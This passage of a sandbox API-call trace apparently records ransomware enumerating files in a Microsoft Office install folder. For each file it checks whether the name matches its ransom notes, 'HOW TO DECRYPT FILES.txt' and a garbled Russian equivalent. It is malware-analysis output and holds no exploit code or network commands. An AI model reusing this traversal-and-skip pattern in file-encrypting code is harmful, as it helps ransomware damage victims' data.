lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.211] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.211] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x9a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MORPH9.DLL", cAlternateFileName="")) returned 1 [0066.211] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.211] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MORPH9.DLL") returned -1 [0066.211] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MORPH9.DLL") returned -1 [0066.211] lstrcmpiA (lpString1="", lpString2="MORPH9.DLL") returned -1 [0066.211] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MODELENG.DLL") returned="MODELENG.DLL" [0066.212] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.212] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.212] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82755f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x32960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXINT.DLL", cAlternateFileName="")) returned 1 [0066.212] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.212] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MPXINT.DLL") returned -1 [0066.212] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MPXINT.DLL") returned -1 [0066.212] lstrcmpiA (lpString1="", lpString2="MPXINT.DLL") returned -1 [0066.212] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MORPH9.DLL") returned="MORPH9.DLL" [0066.212] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.212] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.212] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca1de00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaca1de00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0xa5580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACC.OLB", cAlternateFileName="")) returned 1 [0066.212] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.212] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSACC.OLB") returned -1 [0066.212] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSACC.OLB") returned -1 [0066.212] lstrcmpiA (lpString1="", lpString2="MSACC.OLB") returned -1 [0066.212] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MPXINT.DLL") returned="MPXINT.DLL" [0066.212] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.212] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.212] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fbe00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fbe00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x132cb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.EXE", cAlternateFileName="")) returned 1 [0066.212] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.212] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSACCESS.EXE") returned -1 [0066.213] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSACCESS.EXE") returned -1 [0066.213] lstrcmpiA (lpString1="", lpString2="MSACCESS.EXE") returned -1 [0066.213] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB") returned="MSACC.OLB" [0066.213] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.213] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.213] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53eb900, ftCreationTime.dwHighDateTime=0x1cab7e4, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe53eb900, ftLastWriteTime.dwHighDateTime=0x1cab7e4, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaccess.exe.manifest", cAlternateFileName="MSACCE~1.MAN")) returned 1 [0066.213] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.213] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msaccess.exe.manifest") returned -1 [0066.213] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msaccess.exe.manifest") returned -1 [0066.213] lstrcmpiA (lpString1="", lpString2="msaccess.exe.manifest") returned -1 [0066.213] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE") returned="MSACCESS.EXE" [0066.213] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.213] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.213] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x14188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAEXP30.DLL", cAlternateFileName="")) returned 1 [0066.213] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.213] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSAEXP30.DLL") returned -1 [0066.213] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSAEXP30.DLL") returned -1 [0066.213] lstrcmpiA (lpString1="", lpString2="MSAEXP30.DLL") returned -1 [0066.213] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest") returned="msaccess.exe.manifest" [0066.213] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.214] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.214] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.INF", cAlternateFileName="")) returned 1 [0066.214] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.214] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSCOL11.INF") returned -1 [0066.214] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSCOL11.INF") returned -1 [0066.214] lstrcmpiA (lpString1="", lpString2="MSCOL11.INF") returned -1 [0066.214] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSAEXP30.DLL") returned="MSAEXP30.DLL" [0066.214] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.214] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.214] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd78b00, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dd78b00, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x1aad, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.PPD", cAlternateFileName="")) returned 1 [0066.214] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.214] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSCOL11.PPD") returned -1 [0066.214] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSCOL11.PPD") returned -1 [0066.214] lstrcmpiA (lpString1="", lpString2="MSCOL11.PPD") returned -1 [0066.214] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF") returned="MSCOL11.INF" [0066.214] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.214] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.215] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ccb6a00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa1ff9760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ccb6a00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_en.dub", cAlternateFileName="MSBB80~1.DUB")) returned 1 [0066.215] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.215] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscss7cm_en.dub") returned -1 [0066.215] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscss7cm_en.dub") returned -1 [0066.215] lstrcmpiA (lpString1="", lpString2="mscss7cm_en.dub") returned -1 [0066.215] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD") returned="MSCOL11.PPD" [0066.215] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.215] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.215] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21901e00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dc8680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x21901e00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_es.dub", cAlternateFileName="MSCSS7~1.DUB")) returned 1 [0066.215] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.215] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscss7cm_es.dub") returned -1 [0066.215] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscss7cm_es.dub") returned -1 [0066.215] lstrcmpiA (lpString1="", lpString2="mscss7cm_es.dub") returned -1 [0066.215] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub") returned="mscss7cm_en.dub" [0066.215] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.215] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.216] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2dc400, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa3e79140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1f2dc400, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_fr.dub", cAlternateFileName="MSCSS7~3.DUB")) returned 1 [0066.216] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.216] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscss7cm_fr.dub") returned -1 [0066.216] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscss7cm_fr.dub") returned -1 [0066.216] lstrcmpiA (lpString1="", lpString2="mscss7cm_fr.dub") returned -1 [0066.216] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub") returned="mscss7cm_es.dub" [0066.216] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.216] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.216] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d49a00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa22a7020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x57d49a00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7en.dll", cAlternateFileName="")) returned 1 [0066.216] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.216] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscss7en.dll") returned -1 [0066.216] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscss7en.dll") returned -1 [0066.216] lstrcmpiA (lpString1="", lpString2="mscss7en.dll") returned -1 [0066.216] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub") returned="mscss7cm_fr.dub" [0066.216] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.216] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.217] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4474ff00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6da2520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4474ff00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7es.dll", cAlternateFileName="")) returned 1 [0066.217] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.217] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscss7es.dll") returned -1 [0066.217] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscss7es.dll") returned -1 [0066.217] lstrcmpiA (lpString1="", lpString2="mscss7es.dll") returned -1 [0066.217] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mscss7en.dll") returned="mscss7en.dll" [0066.217] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.217] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.217] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efba800, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4c02e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5efba800, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7fr.dll", cAlternateFileName="")) returned 1 [0066.217] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.217] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscss7fr.dll") returned -1 [0066.217] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscss7fr.dll") returned -1 [0066.217] lstrcmpiA (lpString1="", lpString2="mscss7fr.dll") returned -1 [0066.217] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mscss7es.dll") returned="mscss7es.dll" [0066.217] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.217] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.217] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfc9700, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dfc9700, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_en.dub", cAlternateFileName="MS79E7~1.DUB")) returned 1 [0066.218] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.218] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscss7wre_en.dub") returned -1 [0066.218] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscss7wre_en.dub") returned -1 [0066.218] lstrcmpiA (lpString1="", lpString2="mscss7wre_en.dub") returned -1 [0066.218] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mscss7fr.dll") returned="mscss7fr.dll" [0066.218] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.218] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.218] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c14b00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22c14b00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_es.dub", cAlternateFileName="MSCSS7~2.DUB")) returned 1 [0066.218] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.218] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscss7wre_es.dub") returned -1 [0066.218] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscss7wre_es.dub") returned -1 [0066.218] lstrcmpiA (lpString1="", lpString2="mscss7wre_es.dub") returned -1 [0066.218] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub") returned="mscss7wre_en.dub" [0066.218] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.218] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.219] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205ef100, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x205ef100, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_fr.dub", cAlternateFileName="MSCSS7~4.DUB")) returned 1 [0066.219] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.219] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscss7wre_fr.dub") returned -1 [0066.219] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscss7wre_fr.dub") returned -1 [0066.219] lstrcmpiA (lpString1="", lpString2="mscss7wre_fr.dub") returned -1 [0066.219] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub") returned="mscss7wre_es.dub" [0066.219] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program 